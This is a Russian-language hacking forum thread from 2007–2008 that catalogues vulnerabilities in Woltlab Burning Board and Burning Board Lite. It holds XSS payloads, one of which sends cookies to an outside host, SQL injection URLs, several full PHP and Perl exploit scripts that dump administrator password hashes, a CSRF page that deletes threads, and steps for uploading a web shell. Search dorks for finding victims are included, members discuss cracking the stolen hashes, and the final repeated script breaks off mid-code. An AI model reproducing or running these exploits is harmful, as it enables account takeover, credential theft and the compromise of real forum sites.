Форумы [Обзор уязвимостей Woltlab Burning Board + Lite]

Discussion in 'Уязвимости CMS/форумов' started by BlackCats, 7 Jul 2007.

  1. BlackCats

    BlackCats Elder - Старейшина

    Joined:
    1 Feb 2006
    Messages:
    735
    Likes Received:
    630
    Reputations:
    -3
    Burning Board 2.0 \ 2.0.1 \ 2.0.2
    XSS
    Wiw.php сценарий не достаточно фильтрует данные, представленные пользователем в sortby и order параметрах. Уязвимость может использоваться для доступа к куки пользователя wBB форума.
    Пример:
    Code:
    /board/wiw.php?sid=&order=%22%3E%3Cscript%20type= %22text/javascript%22%3Eal ert(document.cookie);%3C/script%3E%3Cb%20%22
    Burning Board 2.0
    sql инъекция
    Из за недостаточного сканирования параметров, обрабатываемых сценарием board.php, атакующий может внедрить произвольный SQL код в существующий SQL запрос. Уязвимость позволяет атакующему модифицировать данные в базе данных, выполнять произвольные команды и получать привилегии администратора BBS.

    Пример:
    Code:
    board.php?boardid=[boardid]%27,%20userid=%27[victims userid, 1 is usually an admin]&sid=[attackers session-id]


    Burning Board 2.х

    sql инъекция

    Уязвимость существует в функции verify_email() при обработке входных данных формы в переменной $email. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.

    Пример:
    Code:
    sre464hfrgt6@4g546ufgfrh5.org' OR (userid=1 AND MID(password,1,1)='a')/* 
    Burning Board 2.x
    XSS
    при регистрации в полях:

    Code:
    username
    email addres
    password
    confirm password
    homepage
    icq uin
    aim screenname
    yim screenname
    msn screenname
    срабатывает xss.

    Burning Board 2.3.1 и более ранние версии
    XSS
    Уязвимость позволяет удаленному пользователю произвести XSS нападение и получить доступ к потенциально важным данным других пользователей. Уязвимость существует в сценарии 'thread.php' из-за некорректной обработки входных данных в параметре 'hilight'.

    Пример:
    Code:
    /thread.php?threadid=[TOPIC_ID]&hilight=[XSS]
    Burning Board 2.2.2/2.3.3 и более ранние версии

    sql инъекция

    Пример:
    Code:
    /modcp.php?action=post_del&x='SQ L_CODE_HERE
    /modcp.php?action=post_del&x=6&y='SQL_CODE_HERE
    Burning Board 2.3.4
    XSS
    Уязвимость позволяет удаленному пользователю произвести XSS нападение. Уязвимость существует из-за недостаточной обработки входных данных в сценарии "acp/lib/class_db_mysql.php".

    пример:
    Code:
    /wbb/xx.php?<script>location.href='http://yoursite.com/xss.php? cook='+escape(document.cookie)</script> 
    Burning Board 2.3.5
    XSS
    Уязвимость позволяет удаленному пользователю произвести XSS нападение. Уязвимость существует из-за недостаточной обработки входных данных в вложениях. Удаленный пользователь может с помощью специально сформированного изображения (GIF файл с расширением .jpg) выполнить произвольный код сценария в браузере жертвы в контексте безопасности уязвимого сайта.


    Burning Board 2.3.6

    sql инъекция

    Уязвимость позволяет удаленному пользователю выполнить произвольные SQL команды в базе данных приложения. Уязвимость существует из-за недостаточной обработки входных данных сценарием search.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.

    3 сплоита под это дело:

    PHP:
    <?php

    /*
    ###################################
    # http://www.undergroundagents.de #
    # coded by silent vapor           #
    # webmaster@undergroundagents.de  #
    ###################################
    */

    print_r('
    --------------------------------------------------------------------------------
    Woltlab Burning Board Lite <= 1.0.2 GetHashes over search.php
    Woltlab Burning Board <= 2.3.6 GetHashes over search.php
    by silent vapor (webmaster@undergroundagents.de)
    site: http://www.undergroundagents.de
    dork: "Powered by Burning Board Lite 1.0.2" or
         "Powered by Burning Board 2.3.6"
    --------------------------------------------------------------------------------
    '
    );

    if (
    $argc<3) {
       
    print_r('
    --------------------------------------------------------------------------------
    Usage: php '
    .$argv[0].' host path boardid searchstring OPTIONS
    host:             target server (ip/hostname)
    path:             path to wbblite
    boardid:          a boardid where you will search
    searchstring:     a searchstring, that will be found in this board

    Options:
     -o[prefix]:     " a table prefix (default: bb1_)
     -p[port]:       " a port other than 80
     -P[ip:port]:    " a proxy
     -t[n]:          " adjust query timeout (default: 10)

    Example:
    php '
    .$argv[0].' localhost /wbblite/ 28 avatar
     "       "       localhost / 29 cpu -p81 -P127.0.0.1:8080
    --------------------------------------------------------------------------------
    '
    );
       die;
    }

    error_reporting(0);
    ini_set("max_execution_time",0);
    ini_set("default_socket_timeout",5);

    $proxy_regex '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

    function 
    sendpacketii($packet)
    {
     global 
    $proxy$host$port$html$proxy_regex;
     if (
    $proxy=='') {
       
    $ock=fsockopen(gethostbyname($host),$port);
       if (!
    $ock) {
         echo 
    'No response from '.$host.':'.$port; die;
       }
     }
     else {
           
    $c preg_match($proxy_regex,$proxy);
       if (!
    $c) {
         echo 
    'Not a valid proxy...';die;
       }
       
    $parts=explode(':',$proxy);
       echo 
    "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
       
    $ock=fsockopen($parts[0],$parts[1]);
       if (!
    $ock) {
         echo 
    'No response from proxy...';die;
           }
     }
     
    fputs($ock,$packet);
     if (
    $proxy=='') {
       
    $html='';
       while (!
    feof($ock)) {
         
    $html.=fgets($ock);
       }
     }
     else {
       
    $html='';
       while ((!
    feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
         
    $html.=fread($ock,1);
       }
     }
     
    fclose($ock);
    }

    $host=$argv[1];
    $path=$argv[2];
    $boardid=$argv[3];
    $searchstring=$argv[4];

    $prefix "bb1_";
    $port=80;
    $timeout=10;
    $proxy="";

    for (
    $i=5$i<$argc$i++){
    $temp=$argv[$i][0].$argv[$i][1];
    if (
    $temp=="-p")
    {
     
    $port=str_replace("-p","",$argv[$i]);
    }
    if (
    $temp=="-P")
    {
     
    $proxy=str_replace("-P","",$argv[$i]);
    }
    if (
    $temp=="-t")
    {
     
    $timeout=(int) str_replace("-t","",$argv[$i]);
    }
    if (
    $temp=="-o")
    {
     
    $prefix=str_replace("-o","",$argv[$i]);
    }
    }
    if ((
    $path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
    $path .= "search.php";
    if (
    $proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

    $boardids="boardids%5B%5D=$boardid) UNION SELECT username,password FROM ".$prefix."users WHERE 1 NOT IN (0,0";
    $data "searchstring=$searchstring&searchuser=&name_exactly=1&$boardids&showposts=0&searchdate=0";
    $data .= "&beforeafter=after&sortby=lastpost&sortorder=desc&send=send&submit=Suchen";

    $packet ="POST ".$p." HTTP/1.0\r\n";
    $packet.="Host: ".$host."\r\n";
    $packet.="Content-Type: application/x-www-form-urlencoded\r\n";
    $packet.="Content-Length: ".strlen($data)."\r\n";
    $packet.="Cookie: wbb_userpassword=0;\r\n";
    $packet.="Connection: Close\r\n\r\n";
    $packet.=$data;

    sendpacketii($packet);

    if (
    eregi("Database error",$html)){
       echo 
    "<b>vulnerable...</b><br><br>";
       
    $temp1=explode("b.boardid IN (",$html);
       
    $temp2=explode(")",$temp1[1]);
       
    $temp3=explode("&sid=",$temp2[0]);
       
    $temp4=$temp3[0];
       
    $temp5=explode(",",$temp4);

       for (
    $i=0;$i<count($temp5);$i++)
       {
        if (
    $i%== 0)
         echo 
    $temp5[$i]." ( Hash: ";
       else
         echo 
    $temp5[$i].")<br>";
       }
    }

    ?>
    Code:
    #!/usr/bin/perl
    #       Woltlab Burning Board 2.X/Lite search.php SQL Injection exploit - burned.pl
    #       written by trew <trew@safe-mail.net>
    #
    #       should work on every wbb regardless of php settings.
    #
    #       v 1.2 - added 1337 sql filter evasion, version identification,better regex,raw cookie
    # v 1.1 - added wbblite support (thx to lama)
    #
    #
    #
    # !PRIVATE! - !PRIVATE!
    #
    # Leaked by some morons from egocrew
    #
    
    
    use strict;      # 1337
    use warnings;    # 31337
    use LWP::UserAgent;
    use HTTP::Response;
    use HTTP::Status;
    use Getopt::Std;
    getopt('uisUpAclC');
    our ( $opt_u, $opt_i, $opt_s, $opt_U, $opt_p, $opt_A, $opt_c, $opt_l, $opt_C );
    my $target = shift;
    sub do_request($$);
    if ( !$target ) { &HELP_MESSAGE; }
    my ( $host, $folder );
    
    if ( $target =~ /(?:http:\/\/)?([\w\.\-\_]*)(\/.*)?/ ) {
    
       $host = $1;
       $folder = ( $2 ? $2 : '/' );
       if ( $folder !~ /\/$/ ) { $folder .= '/'; }
       $target = "http://$host$folder" . 'search.php';
    }
    else { &HELP_MESSAGE; }
    
    my $ip           = ( $opt_i ? $opt_i : '127.0.0.1' );
    my $searchstring = ( $opt_s ? $opt_s : 'board' );
    my ( $userid, $userpassword, $proxy, $proxyip );
    ( $userid, $userpassword ) = split( ':', $opt_U ) if $opt_U;
    ( $proxy,  $proxyip )      = split( ':', $opt_p ) if $opt_p;
    my $uid = ( $opt_u ? $opt_u : 1 );
    my $useragent =
     ( $opt_A ? $opt_A : 'Mozilla/5.0 Gecko/20061206 Firefox/1.5.0.9' );
    my $prefix = ( $opt_c ? $opt_c : 'wbb2_' );
    my $lite   = ( $opt_l ? $opt_l : 0 );
    my $isHash = 0;
    
    print "burned.pl written by trew\n";
    print "report errors \@ trew\@safe-mail.net.. thx\n";
    print "[x] Attacking $target...\n";
    
    if ( $userpassword and $userpassword =~ /([a-f0-9]{32})/ ) { $isHash = 1; }
    
    if ( !$lite ) {
       print "[x] Checking wbb version...\n";
       if ( do_request( '', 'editor.jar' ) =~ /404 Not Found/ ) {
    
           print "[x] Looks like a wbblite\n";
           $prefix = "" if ( !$opt_c );
           $lite = 1;
       }
       else { print "[x] Looks like a normal wbb\n"; }
    }
    
    if ( !$lite ) {
       if ( !$opt_c ) {
    
           my $headers = do_request( '', '' );
           if ( $headers =~ /Set-Cookie: (.*?)cookiehash/ ) {
               $prefix = $1;
           }
           else { print $headers}
    
       }
       print "[x] Cookie prefix: $prefix\n";
    }
    print "[x] Vulnerable check:";
    
    my $answer;
    my $pre;
    $answer = do_request( '\'', '' );
    
    if ( $answer =~ /FROM (.*?)_boards/ ) {
       $pre = $1;
       print " Vulnerable\n";
    }
    elsif ($answer =~ /Die Suche ergab keine/
       or $answer =~ /No results were found for this search/
       or $answer =~ /Your search is invalid/
       or $answer =~ /Ihre Suchabfrage ist/ )
    {
       print " No Idea\n";
       print "[x] Searchstring was not found, try a different one with -s\n";
       exit;
    }
    elsif ($answer =~ /Ihnen wird der Zutritt zu dieser Seite/
       or $answer =~ /Access denied/ )
    {
       print " No Idea\n";
       print "[x] search.php only for users,";
       print " wrong userdetails or wrong cookie-prefix!\n" if $opt_U;
       print " give me userid+password with -U\n"           if !$opt_U;
    
       exit;
    }
    else {
       print " Not Vulnerable!\n";
    
       #print $answer;
       exit;
    }
    
    print "[x] Unleashing black magic...\n";
    $answer = do_request(
       ' UNION/*s12s*/  SELECT/*t35s*/  password , password /*er35*/ FRoM ' . $pre
         . '_users  WHeRE/*esr35*/  userid='
         . $uid . '/*',
       ''
    );
    
    if ( $answer =~ /${folder}search.php/ and $answer =~ /([a-f0-9]{32})/ ) {
       print "[x] Looks good!\n";
       print "[x] Userid: $uid\n";
       print "[x] Hash: $1\n";
       if ( !$opt_C ) {
           print
    "[x] Use this Cookie:\n ${prefix}userid=$uid;${prefix}userpassword=$1\n";
       }
    
    }
    else {
       print "[x] Looks bad!\n";
       print $answer;
    
    }
    
    sub HELP_MESSAGE() {
       print "burned.pl written by trew\n"
         . "perl $0 [options] url\n"
         . "examples:\n"
         . "perl $0 woltlab.de/forum/\n"
         . "perl $0 -u 2 -i 127.0.0.2 woltlab.de/de/forum/\n"
         . "overwrite -c and -l only when the auto-check "
         . "gives you a false result\n"
         . "use -C when you need some special cookies\n"
         . "options :\n-u userid of victim [1]\n"
         . "-i faked client-ip [127.0.0.1]\n"
         . "-s searchstring [board]\n"
         . "-U userid:password or userid:pwhash [none]\n"
         . "-p proxyip:proxyport [none]\n"
         . "-A user-agent [firefox 1.5.09]\n"
         . "-c cookie-prefix [auto-check]\n"
         . "-l wbblite mode [auto-check]\n"
         . "-C raw cookie\n";
       exit;
    }
    
    sub do_request($$) {
       my $string   = shift;
       my $otherurl = shift;
       if ($otherurl) { $target = "http://$host$folder" . $otherurl; }
       else { $target = "http://$host$folder" . 'search.php' }
       $string = '/*' if ( !$string );
       my $ua = LWP::UserAgent->new;
       if ($proxy) { $ua->proxy( 'http', "http://$proxy:$proxyip/" ); }
       my $request = new HTTP::Request( 'POST', $target );
       $request->content( 'boardids%5B0%5D=1&boardids%5B1%5D=2,3,4)' . $string
             . '&send=1&searchstring='
             . $searchstring );
       $request->content_type('application/x-www-form-urlencoded');
       $request->header( 'User-Agent' => $useragent );
    
       if ($opt_U) {
           my $userhash;
           if ( !$isHash ) { $userhash = md5($userpassword); }
           else { $userhash = $userpassword; }
           my $cookie = $prefix
             . 'userid='
             . $userid . ';'
             . $prefix
             . 'userpassword='
             . $userhash;
    
           $request->header( 'Cookie' => $cookie );
       }
       elsif ($opt_C) {
           $request->header( 'Cookie' => $opt_C );
       }
       $request->header( 'Client-Ip' => $ip );
       my $response = $ua->request($request);
       my $body     = $response->content;
       my $headers  = $response->headers_as_string;
       $body = $response->error_as_HTML if ( $response->is_error );
    
       return $headers if ( $string eq '/*' and !$response->is_error );
       return $body;
    }
    
    # MD5 Code ripped from Libwhisker for bigger portability
    # thx rfp :)
    {
       my ( @S, @T, @M );
       my $code = '';
    
       sub md5 {
           return undef if ( !defined $_[0] );    # oops, forgot the data
           my $DATA = _md5_pad( $_[0] );
           &_md5_init() if ( !defined $M[0] );
           return _md5_perl_generated( \$DATA );
       }
    
       sub _md5_init {
           return if ( defined $S[0] );
           my $i;
           for ( $i = 1 ; $i <= 64 ; $i++ ) {
               $T[ $i - 1 ] = int( ( 2**32 ) * abs( sin($i) ) );
           }
           my @t = ( 7, 12, 17, 22, 5, 9, 14, 20, 4, 11, 16, 23, 6, 10, 15, 21 );
           for ( $i = 0 ; $i < 64 ; $i++ ) {
               $S[$i] = $t[ ( int( $i / 16 ) * 4 ) + ( $i % 4 ) ];
           }
           @M = (
               0, 1, 2,  3,  4,  5,  6,  7,  8,  9,  10, 11, 12, 13, 14, 15,
               1, 6, 11, 0,  5,  10, 15, 4,  9,  14, 3,  8,  13, 2,  7,  12,
               5, 8, 11, 14, 1,  4,  7,  10, 13, 0,  3,  6,  9,  12, 15, 2,
               0, 7, 14, 5,  12, 3,  10, 1,  8,  15, 6,  13, 4,  11, 2,  9
           );
           &_md5_generate();
           my $TEST = _md5_pad('foobar');
    
           if ( _md5_perl_generated( \$TEST ) ne
               '3858f62230ac3c915f300c664312c63f' )
           {
               die('Error: MD5 self-test not successful.');
           }
       }
    
       sub _md5_pad {
           my $l = length( my $msg = shift() . chr(128) );
           $msg .= "\0" x ( ( $l % 64 <= 56 ? 56 : 120 ) - $l % 64 );
           $l = ( $l - 1 ) * 8;
           $msg .= pack 'VV', $l & 0xffffffff, ( $l >> 16 >> 16 );
           return $msg;
       }
    
       sub _md5_generate {
           my $N = 'abcddabccdabbcda';
           my ( $i, $M ) = ( 0, '' );
           $M    = '&0xffffffff' if ( ( 1 << 16 ) << 16 ); # mask for 64bit systems
           $code = <<EOT;
           sub _md5_perl_generated {
           BEGIN { \$^H |= 1; }; # use integer
           my (\$A,\$B,\$C,\$D)=(0x67452301,0xefcdab89,0x98badcfe,0x10325476);
           my (\$a,\$b,\$c,\$d,\$t,\$i);
           my \$dr=shift;
           my \$l=length(\$\$dr);
           for my \$L (0 .. ((\$l/64)-1) ) {
                   my \@D = unpack('V16', substr(\$\$dr, \$L*64,64));
                   (\$a,\$b,\$c,\$d)=(\$A,\$B,\$C,\$D);
    EOT
           for ( $i = 0 ; $i < 16 ; $i++ ) {
               my ( $a, $b, $c, $d ) =
                 split( '', substr( $N, ( $i % 4 ) * 4, 4 ) );
               $code .=
                 "\$t=((\$$d^(\$$b\&(\$$c^\$$d)))+\$$a+\$D[$M[$i]]+$T[$i])$M;\n";
               $code .=
    "\$$a=(((\$t<<$S[$i])|((\$t>>(32-$S[$i]))&((1<<$S[$i])-1)))+\$$b)$M;\n";
           }
           for ( ; $i < 32 ; $i++ ) {
               my ( $a, $b, $c, $d ) =
                 split( '', substr( $N, ( $i % 4 ) * 4, 4 ) );
               $code .=
                 "\$t=((\$$c^(\$$d\&(\$$b^\$$c)))+\$$a+\$D[$M[$i]]+$T[$i])$M;\n";
               $code .=
    "\$$a=(((\$t<<$S[$i])|((\$t>>(32-$S[$i]))&((1<<$S[$i])-1)))+\$$b)$M;\n";
           }
           for ( ; $i < 48 ; $i++ ) {
               my ( $a, $b, $c, $d ) =
                 split( '', substr( $N, ( $i % 4 ) * 4, 4 ) );
               $code .= "\$t=((\$$b^\$$c^\$$d)+\$$a+\$D[$M[$i]]+$T[$i])$M;\n";
               $code .=
    "\$$a=(((\$t<<$S[$i])|((\$t>>(32-$S[$i]))&((1<<$S[$i])-1)))+\$$b)$M;\n";
           }
           for ( ; $i < 64 ; $i++ ) {
               my ( $a, $b, $c, $d ) =
                 split( '', substr( $N, ( $i % 4 ) * 4, 4 ) );
               $code .= "\$t=((\$$c^(\$$b|(~\$$d)))+\$$a+\$D[$M[$i]]+$T[$i])$M;\n";
               $code .=
    "\$$a=(((\$t<<$S[$i])|((\$t>>(32-$S[$i]))&((1<<$S[$i])-1)))+\$$b)$M;\n";
           }
           $code .= <<EOT;
                   \$A=\$A+\$a\&0xffffffff; \$B=\$B+\$b\&0xffffffff;
                   \$C=\$C+\$c\&0xffffffff; \$D=\$D+\$d\&0xffffffff;
           } # for
           return unpack('H*', pack('V4',\$A,\$B,\$C,\$D)); }
    EOT
           eval "$code";
       }
    }    # md5 package container
    
    Code:
    #!/usr/bin/perl
    use LWP::UserAgent;
    use HTTP::Response;
    
    $| = 1;
    print "
    ###################################################
    ##
    ## Woltlab Burning Board 2.3.6 <= / Lite Exploit 
    ##
    ###################################################
    ##
    ## Coded by 666 <http://blueshisha.mutebox.net>
    ## Bug by trew
    ##
    ###################################################
    \n";
    
    if($#ARGV < 0)
    {
            print "[x] Usage: wbbsploit.pl [Target] [Userid] [Searchstring]\n";
            exit;
    }
    print "<~> Exploiting...\n";
    my $url = shift;
    my $id = shift;
    my $sstring = shift;
    
    my $ua = LWP::UserAgent->new;
    my $request = new HTTP::Request('POST', 'http://'.$url.'search.php');
    $request->content('searchuser=&name_exactly=1&topiconly=0&showposts=0&searchdate=0&beforeafter=after&sortby=lastpost&sortorder=desc&send=send&sid=&submit=Suchen&boardids%5B%5D=1)%20UNION%20SELECT%20username,password%20FROM%20bb1_users%20WHERE%20userid='.$id.'/*&searchstring='.$sstring.'');
    $request->content_type('application/x-www-form-urlencoded');
    my $response = $ua->request($request);
    my $body     = $response->content;
    print "<~> Hash: ";
    $body=~/([a-f0-9]{32})/;
    print $1;
    print "\n";
    
    спасибо багтракам хакера, и секлаба.
     
    #1 BlackCats, 7 Jul 2007
    Last edited: 8 Jul 2007
    18 people like this.
  2. BlackCats

    BlackCats Elder - Старейшина

    Joined:
    1 Feb 2006
    Messages:
    735
    Likes Received:
    630
    Reputations:
    -3
    Lite версии


    Burning Board Lite 1.0.2(последняя на данный момент lite версия)
    XSS
    при регистрации в полях:

    Code:
    username
    email addres
    password
    confirm password
    homepage
    icq uin
    aim screenname
    yim screenname
    msn screenname
    location
    interests
    Occupation
    срабатывает xss.

    Burning Board Lite 1.0.2
    XSS
    если разегистрироваться и указать в качестве ника "><script>alert(99)</script>
    то при входе в аккаунт скрипт будет срабатывать - xss.

    Burning Board Lite 1.0.2
    доступ в директорию /acp/lib/ свободен(/acp - админка, и туда - тока с пассом) а там лежит файл config.php

    \\//
    также в админке присутствуют xss решил что не стоит про них писать... но если комуто интересно... я напишу.

    Burning Board Lite 1.0.2pl3e

    sql инъекция
    Уязвимость существует из-за недостаточной обработки входных данных в параметре "pmid[0]" в сценарии pms.php. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения. Для успешной эксплуатации требуется валидная учетная запись пользователя и чтобы приложение было запущено на MySQL 4.1 или выше.

    Burning Board Lite 1.0.2pl2e

    sql инъекция
    Уязвимость существует из-за недостаточной обработки входных данных в параметре "threadvisit" в файле куки. Удаленный пользователь может с помощью специально сформированного запроса выполнить произвольные SQL команды в базе данных приложения.

    уязвимости модулей:


    Database 2.5 (модуль для Woltlab Burning Board)

    sql инъекция

    Уязвимость существует при обработке входных данных в параметрах fileid и subkatid в сценарии info_db.php. Удаленный пользователь может с помощью специально сформированного URL выполнить произвольные SQL команды в базе данных приложения.

    Пример:
    Code:
    /info_db.php?action=file&fileid=[SQL-Injection]
    /info_db.php?action=file&fileid=59&subkatid=[SQL-injection]
    если где ошибся - говорите, исправлю.

    заливаем шелл:
    Burning Board Lite 1.0.2
    заливаем шелл:
    в админке жмём Add Avatar
    далее заливаем наш шелл, расширение php пропускает.
    шелл будет находиться по адресу:
    Code:
    /images/avatars/avatar-shell.php(при имени шелла shell.php)
     
    #2 BlackCats, 7 Jul 2007
    Last edited: 7 Jul 2007
    1 person likes this.
  3. SchmeL

    SchmeL Elder - Старейшина

    Joined:
    16 Jun 2007
    Messages:
    64
    Likes Received:
    38
    Reputations:
    5
    Раскрытие префикса БД

    wbb 2.3.4

    /forum/thread.php?threadid=37&page=-2

    Code:
    SQL-DATABASE ERROR
    
    Database error in WoltLab Burning Board (2.3.4): Invalid SQL: SELECT postid, attachments FROM bb1_posts WHERE threadid = '37' AND visible=1 ORDER BY posttime ASC LIMIT -30, 10 
    mysql error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '-30, 10' at line 1 
    mysql error number: 1064 
    mysql version: 4.1.16-max 
    php version: 5.1.6 
    Date: 23.07.2007 @ 23:55 
    Script: /forum/thread.php?threadid=37&page=-2
     
    #3 SchmeL, 24 Jul 2007
    Last edited by a moderator: 12 Jan 2008
    1 person likes this.
  4. Alexsize

    Alexsize Fail

    Joined:
    17 Sep 2005
    Messages:
    1,960
    Likes Received:
    1,219
    Reputations:
    704
    Спасибо автору за информацию! Я выдрал с помощью сплоита хэш, но что с ним теперь делать? Все программы говорят, что алгоритм не Md 5 кто может подсказать как мне его расшифровать?
    Сначала думал что это сессия, НО он (кукис) неизменен. Значит это как то связанно с паролем. Курил исходники но так и не понял что почем.
     
    #4 Alexsize, 5 Sep 2007
    Last edited: 5 Sep 2007
  5. life_is_shit

    life_is_shit Elder - Старейшина

    Joined:
    21 Aug 2007
    Messages:
    307
    Likes Received:
    149
    Reputations:
    19
    алгоритм sha1 попробуй.
     
    1 person likes this.
  6. +toxa+

    +toxa+ Smack! SMACK!!!

    Joined:
    16 Jan 2005
    Messages:
    1,699
    Likes Received:
    1,028
    Reputations:
    1,228
    Woltlab Burning Board Lite 1.0.2pl3e SQL-inj

    PHP:
    <?php
    $host 
    $argv[1];
    $path $argv[2];
    $searchstring $argv[3];
    $userid $argv[4];
    If (
    $argc <= 4)
    {
    echo 
    "Usage: filename.php [host] [path] [searchstring] [user-id] \n Examples:
    \n php filename.php localhost /wbblite/search.php Computer 1\n php
    filename.php localhost /search.php Board 1\n"
    ;
    die;
    }
    $sqlinjecting
    "searchstring=$searchstring&searchuser=&name_exactly=1&boardids%5B%5D=*&topiconly=0&showposts=0&searchdate=0&beforeafter=after&sortby=lastpost&sortorder=%27%20UNION%20SELECT%20password%20FROM%20bb1_users%20WHERE%20userid=$userid%20/*&send=send&sid=&submit=Suchen";
    $con fsockopen($host80);
      echo(
    "==Woltlab Burning Board LITE SQL-Injection Exploit founded and coded
    by NBBN. \n\n\n"
    );
      
    sleep(1);
      
    fputs($con"POST $path HTTP/1.1\n");
      
    fputs($con"Host: $host\n");
      
    fputs($con"Content-type: application/x-www-form-urlencoded\n");
      
    fputs($con"Content-length: "strlen($sqlinjecting) ."\n");
      
    fputs($con"Connection: close\n\n");
      
    fputs($con"$sqlinjecting\n");
      
      while(!
    feof($con)) {
          
    $res .= fgets($con128);
      }
      echo(
    "Well done...\n");
      
    fclose($con);


      echo 
    $res;
    echo 
    "The password-hash is in search.php?searchid=[Hash]\n";
    $the_hash substr($res,strpos($res,'searchid=')+9,32);
    echo 
    "Hash: $the_hash\n\n";
    ?> 
     
    _________________________
    1 person likes this.
  7. PiNzit

    PiNzit Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    65
    Likes Received:
    10
    Reputations:
    0
    Проверил, актуально и для wbb 2.3.5
     
  8. iddqd

    iddqd Banned

    Joined:
    19 Dec 2007
    Messages:
    655
    Likes Received:
    520
    Reputations:
    19
    Woltlab Burning Board 2.3.6 PL2 Remote Delete Thread XSRF Vulnerability

    XSRF Vulnerability

    Vulnerable: Woltlab Burning Board 2.3.6 PL2

    HTML:
    <html>
    <head>
    </head>
    <body onLoad="javascript:document.it.submit()">
    <form action="http://localhost/xampp/wbb2/modcp.php" method="post" name="it">
    <input type="hidden" name="action" value="thread_del" />
    <input type="hidden" name="threadid" value="5" /> <!-- Здесь id темы-->
    
    <input type="hidden" name="send" value="send" />
    <input type="hidden" name="sid" value="" />
    <input type="submit" accesskey="S" value="Ja" class="input" />
    </body>
    </html>
    
    Атакующий может отправить администратору/модератору ссылку на страницу с вышеописанным кодом и тогда тема с указанным id будет удалена.
     
    #8 iddqd, 25 Jan 2008
    Last edited: 25 Jan 2008
    1 person likes this.
  9. iddqd

    iddqd Banned

    Joined:
    19 Dec 2007
    Messages:
    655
    Likes Received:
    520
    Reputations:
    19
    WoltLab Burning Board 3.0.3 PL1 SQL Injection Vulnerability

    Vulnerable: WoltLab Burning Board 3.0.3 PLX
    WoltLab Burning Board 3.0.2 PLX
    WoltLab Burning Board 3.0.1 PLX
    WoltLab Burning Board 3.0.0 PLX


    PoC:

    Code:
    http://site.tld/wbb3/index.php?page=PMList&folderID=0&pageNo=1&sortFi
    eld=isViewed&sortOrder=ASC, 
    (SELECT password  FROM wcf1_user WHERE userID=1 AND 
    IF(ORD(SUBSTR(password,1,1))>55,BENCHMARK(3000000,
    MD5(23)),1))
    
     
    1 person likes this.
  10. Solide Snake

    Solide Snake Banned

    Joined:
    28 Apr 2007
    Messages:
    465
    Likes Received:
    836
    Reputations:
    69
    Woltlab Burning Board Addon JGS-Treffen SQL Injection Vulnerability

    Woltlab Burning Board Addon JGS-Treffen SQL Injection Vulnerability

    Code:
    ######################
    #
    #Woltlab Burning Board Addon JGS-Treffen SQL Injection
    #
    ######################
    #
    #Bug by: h0yt3r
    #
    #Dork: inurl:jgs_treffen.php
    #
    ##
    ###
    ##
    #
    #There is a bug in jgs_treffen.php 2.0.2 and lower.
    #It's already fixed in newer Versions...
    #
    #SQL Injection:
    #http://[target]/[path]/jgs_treffen.php?action=ansicht&view_id=[SQL]
    #
    #PoC:
    #jgs_treffen.php?action=ansicht&view_id='-1/**/UnIoN/**/All/**/SeLeCt/**/1,2,CoNcAt(email,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15/**/from/**/bb1_users/*
    #
    #######################
    #
    #Greetz to ramon, thund3r and all the other dirty blackhat rest xD!
    #
    #######################
    ####################### 
    
    # milw0rm.com [2008-03-31]
     
    2 people like this.
  11. Алекс диГриз

    Алекс диГриз Elder - Старейшина

    Joined:
    6 May 2008
    Messages:
    74
    Likes Received:
    15
    Reputations:
    0
    начал использовать сплойт для версии 2.3.6
    Code:
    #!/usr/bin/perl
    #       Woltlab Burning Board 2.X/Lite search.php SQL Injection exploit - burned.pl
    #       written by trew <trew@safe-mail.net>
    #
    #       should work on every wbb regardless of php settings.
    #
    #       v 1.2 - added 1337 sql filter evasion, version identification,better regex,raw cookie
    # v 1.1 - added wbblite support (thx to lama)
    #
    #
    #
    # !PRIVATE! - !PRIVATE!
    #
    # Leaked by some morons from egocrew
    #
    
    
    use strict;      # 1337
    use warnings;    # 31337
    use LWP::UserAgent;
    use HTTP::Response;
    use HTTP::Status;
    use Getopt::Std;
    getopt('uisUpAclC');
    our ( $opt_u, $opt_i, $opt_s, $opt_U, $opt_p, $opt_A, $opt_c, $opt_l, $opt_C );
    my $target = shift;
    sub do_request($$);
    if ( !$target ) { &HELP_MESSAGE; }
    my ( $host, $folder );
    
    if ( $target =~ /(?:http:\/\/)?([\w\.\-\_]*)(\/.*)?/ ) {
    
       $host = $1;
       $folder = ( $2 ? $2 : '/' );
       if ( $folder !~ /\/$/ ) { $folder .= '/'; }
       $target = "http://$host$folder" . 'search.php';
    }
    else { &HELP_MESSAGE; }
    
    my $ip           = ( $opt_i ? $opt_i : '127.0.0.1' );
    my $searchstring = ( $opt_s ? $opt_s : 'board' );
    my ( $userid, $userpassword, $proxy, $proxyip );
    ( $userid, $userpassword ) = split( ':', $opt_U ) if $opt_U;
    ( $proxy,  $proxyip )      = split( ':', $opt_p ) if $opt_p;
    my $uid = ( $opt_u ? $opt_u : 1 );
    my $useragent =
     ( $opt_A ? $opt_A : 'Mozilla/5.0 Gecko/20061206 Firefox/1.5.0.9' );
    my $prefix = ( $opt_c ? $opt_c : 'wbb2_' );
    my $lite   = ( $opt_l ? $opt_l : 0 );
    my $isHash = 0;
    
    print "burned.pl written by trew\n";
    print "report errors \@ trew\@safe-mail.net.. thx\n";
    print "[x] Attacking $target...\n";
    
    if ( $userpassword and $userpassword =~ /([a-f0-9]{32})/ ) { $isHash = 1; }
    
    if ( !$lite ) {
       print "[x] Checking wbb version...\n";
       if ( do_request( '', 'editor.jar' ) =~ /404 Not Found/ ) {
    
           print "[x] Looks like a wbblite\n";
           $prefix = "" if ( !$opt_c );
           $lite = 1;
       }
       else { print "[x] Looks like a normal wbb\n"; }
    }
    
    if ( !$lite ) {
       if ( !$opt_c ) {
    
           my $headers = do_request( '', '' );
           if ( $headers =~ /Set-Cookie: (.*?)cookiehash/ ) {
               $prefix = $1;
           }
